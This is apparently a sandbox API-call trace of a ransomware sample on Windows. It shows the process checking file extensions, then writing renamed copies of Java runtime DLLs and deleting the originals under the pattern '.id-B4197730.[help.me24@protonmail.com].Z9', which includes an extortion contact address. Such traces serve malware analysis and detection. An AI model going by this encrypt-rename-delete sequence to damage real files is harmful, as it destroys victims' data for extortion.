	[0092.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.625] lstrlenW (lpString=".xls") returned 4
	[0092.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.625] lstrlenW (lpString=".xlsx") returned 5
	[0092.625] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0092.625] lstrlenW (lpString=".ppt") returned 4
	[0092.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.625] lstrlenW (lpString=".zip") returned 4
	[0092.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.625] lstrlenW (lpString=".rar") returned 4
	[0092.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.625] lstrlenW (lpString=".bz2") returned 4
	[0092.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.625] lstrlenW (lpString=".7z") returned 3
	[0092.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.625] lstrlenW (lpString=".dbf") returned 4
	[0092.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.625] lstrlenW (lpString=".1cd") returned 4
	[0092.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.626] lstrlenW (lpString=".jpg") returned 4
	[0092.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.626] lstrlenW (lpString=".doc") returned 4
	[0092.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.626] lstrlenW (lpString=".docx") returned 5
	[0092.626] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0092.626] lstrlenW (lpString=".pdf") returned 4
	[0092.626] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.626] lstrlenW (lpString=".xls") returned 4
	[0092.626] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.626] lstrlenW (lpString=".xlsx") returned 5
	[0092.626] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0092.626] lstrlenW (lpString=".ppt") returned 4
	[0092.626] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.626] lstrlenW (lpString=".zip") returned 4
	[0092.626] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.626] lstrlenW (lpString=".rar") returned 4
	[0092.626] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.626] lstrlenW (lpString=".bz2") returned 4
	[0092.626] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.626] lstrlenW (lpString=".7z") returned 3
	[0092.626] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.626] lstrlenW (lpString=".dbf") returned 4
	[0092.626] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.626] lstrlenW (lpString=".1cd") returned 4
	[0092.626] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.626] lstrlenW (lpString=".jpg") returned 4
	[0092.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.627] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.627] lstrlenW (lpString="fontmanager.dll") returned 15
	[0092.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0092.674] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=274496) returned 1
	[0092.674] CloseHandle (hObject=0x394) returned 1
	[0092.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20
	[0092.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.674] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0092.674] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.674] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.674] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0092.675] GetLastError () returned 0x0
	[0092.675] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x43040, lpOverlapped=0x0) returned 1
	[0092.711] WriteFile (in: hFile=0x38c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x43050, lpOverlapped=0x0) returned 1
	[0092.718] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.718] WriteFile (in: hFile=0x38c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0092.718] SetEndOfFile (hFile=0x38c) returned 1
	[0092.718] CloseHandle (hObject=0x38c) returned 1
	[0092.718] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.718] SetEndOfFile (hFile=0x394) returned 1
	[0092.722] CloseHandle (hObject=0x394) returned 1
	[0092.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.722] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1
	[0092.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.722] lstrlenW (lpString=".doc") returned 4
	[0092.722] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.722] lstrlenW (lpString=".docx") returned 5
	[0092.722] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0092.722] lstrlenW (lpString=".pdf") returned 4
	[0092.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.722] lstrlenW (lpString=".xls") returned 4
	[0092.722] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.722] lstrlenW (lpString=".xlsx") returned 5
	[0092.723] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0092.723] lstrlenW (lpString=".ppt") returned 4
	[0092.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.723] lstrlenW (lpString=".zip") returned 4
	[0092.723] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.723] lstrlenW (lpString=".rar") returned 4
	[0092.723] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.723] lstrlenW (lpString=".bz2") returned 4
	[0092.723] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.723] lstrlenW (lpString=".7z") returned 3
	[0092.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.723] lstrlenW (lpString=".dbf") returned 4
	[0092.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.723] lstrlenW (lpString=".1cd") returned 4
	[0092.723] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.723] lstrlenW (lpString=".jpg") returned 4
	[0092.723] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.724] lstrlenW (lpString=".doc") returned 4
	[0092.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.724] lstrlenW (lpString=".docx") returned 5
	[0092.724] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0092.724] lstrlenW (lpString=".pdf") returned 4
	[0092.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.724] lstrlenW (lpString=".xls") returned 4
	[0092.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.724] lstrlenW (lpString=".xlsx") returned 5
	[0092.724] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0092.724] lstrlenW (lpString=".ppt") returned 4
	[0092.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.724] lstrlenW (lpString=".zip") returned 4
	[0092.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.724] lstrlenW (lpString=".rar") returned 4
	[0092.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.724] lstrlenW (lpString=".bz2") returned 4
	[0092.724] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.724] lstrlenW (lpString=".7z") returned 3
	[0092.724] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.724] lstrlenW (lpString=".dbf") returned 4
	[0092.724] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.724] lstrlenW (lpString=".1cd") returned 4
	[0092.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0092.724] lstrlenW (lpString=".jpg") returned 4
	[0092.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.725] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.725] lstrlenW (lpString="glib-lite.dll") returned 13
	[0092.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0092.725] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=455744) returned 1
	[0092.725] CloseHandle (hObject=0x394) returned 1
	[0092.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20
	[0092.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0092.726] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.726] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.726] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0092.726] GetLastError () returned 0x0
	[0092.726] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x6f440, lpOverlapped=0x0) returned 1
	[0092.764] WriteFile (in: hFile=0x38c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x6f450, lpOverlapped=0x0) returned 1
	[0092.772] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.772] WriteFile (in: hFile=0x38c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xee, lpOverlapped=0x0) returned 1
	[0092.772] SetEndOfFile (hFile=0x38c) returned 1
	[0092.772] CloseHandle (hObject=0x38c) returned 1
	[0092.772] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.772] SetEndOfFile (hFile=0x394) returned 1
	[0093.175] CloseHandle (hObject=0x394) returned 1
	[0093.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.175] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1
	[0093.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.175] lstrlenW (lpString=".doc") returned 4
	[0093.175] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.175] lstrlenW (lpString=".docx") returned 5
	[0093.175] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0093.175] lstrlenW (lpString=".pdf") returned 4
	[0093.175] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.175] lstrlenW (lpString=".xls") returned 4
	[0093.175] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.175] lstrlenW (lpString=".xlsx") returned 5
	[0093.176] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0093.176] lstrlenW (lpString=".ppt") returned 4
	[0093.176] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.176] lstrlenW (lpString=".zip") returned 4
	[0093.176] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.176] lstrlenW (lpString=".rar") returned 4
	[0093.176] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.176] lstrlenW (lpString=".bz2") returned 4
	[0093.176] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.176] lstrlenW (lpString=".7z") returned 3
	[0093.176] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.176] lstrlenW (lpString=".dbf") returned 4
	[0093.176] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.176] lstrlenW (lpString=".1cd") returned 4
	[0093.176] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.176] lstrlenW (lpString=".jpg") returned 4
	[0093.176] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.177] lstrlenW (lpString=".doc") returned 4
	[0093.177] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.177] lstrlenW (lpString=".docx") returned 5
	[0093.177] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0093.177] lstrlenW (lpString=".pdf") returned 4
	[0093.177] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.177] lstrlenW (lpString=".xls") returned 4
	[0093.177] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.177] lstrlenW (lpString=".xlsx") returned 5
	[0093.177] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0093.177] lstrlenW (lpString=".ppt") returned 4
	[0093.177] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.177] lstrlenW (lpString=".zip") returned 4
	[0093.177] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.177] lstrlenW (lpString=".rar") returned 4
	[0093.177] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.177] lstrlenW (lpString=".bz2") returned 4
	[0093.177] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.177] lstrlenW (lpString=".7z") returned 3
	[0093.177] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.177] lstrlenW (lpString=".dbf") returned 4
	[0093.177] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.177] lstrlenW (lpString=".1cd") returned 4
	[0093.177] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0093.177] lstrlenW (lpString=".jpg") returned 4
	[0093.177] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.177] lstrcmpiW (lpString1=".cpl", lpString2=".Z9") returned -1
	[0093.178] lstrlenW (lpString="javacpl.cpl") returned 11
	[0093.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.178] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=187392) returned 1
	[0093.178] CloseHandle (hObject=0x394) returned 1
	[0093.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20
	[0093.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.178] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.178] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.179] GetLastError () returned 0x0
	[0093.179] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x2dc00, lpOverlapped=0x0) returned 1
	[0093.196] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x2dc10, lpOverlapped=0x0) returned 1
	[0093.199] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.199] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0093.199] SetEndOfFile (hFile=0x378) returned 1
	[0093.199] CloseHandle (hObject=0x378) returned 1
	[0093.199] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.199] SetEndOfFile (hFile=0x394) returned 1
	[0093.201] CloseHandle (hObject=0x394) returned 1
	[0093.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.201] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1
	[0093.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.202] lstrlenW (lpString=".doc") returned 4
	[0093.202] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1
	[0093.202] lstrlenW (lpString=".docx") returned 5
	[0093.202] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1
	[0093.202] lstrlenW (lpString=".pdf") returned 4
	[0093.202] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1
	[0093.202] lstrlenW (lpString=".xls") returned 4
	[0093.202] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1
	[0093.202] lstrlenW (lpString=".xlsx") returned 5
	[0093.202] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1
	[0093.202] lstrlenW (lpString=".ppt") returned 4
	[0093.202] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1
	[0093.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.202] lstrlenW (lpString=".zip") returned 4
	[0093.202] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1
	[0093.202] lstrlenW (lpString=".rar") returned 4
	[0093.202] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1
	[0093.202] lstrlenW (lpString=".bz2") returned 4
	[0093.202] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1
	[0093.202] lstrlenW (lpString=".7z") returned 3
	[0093.202] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1
	[0093.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.202] lstrlenW (lpString=".dbf") returned 4
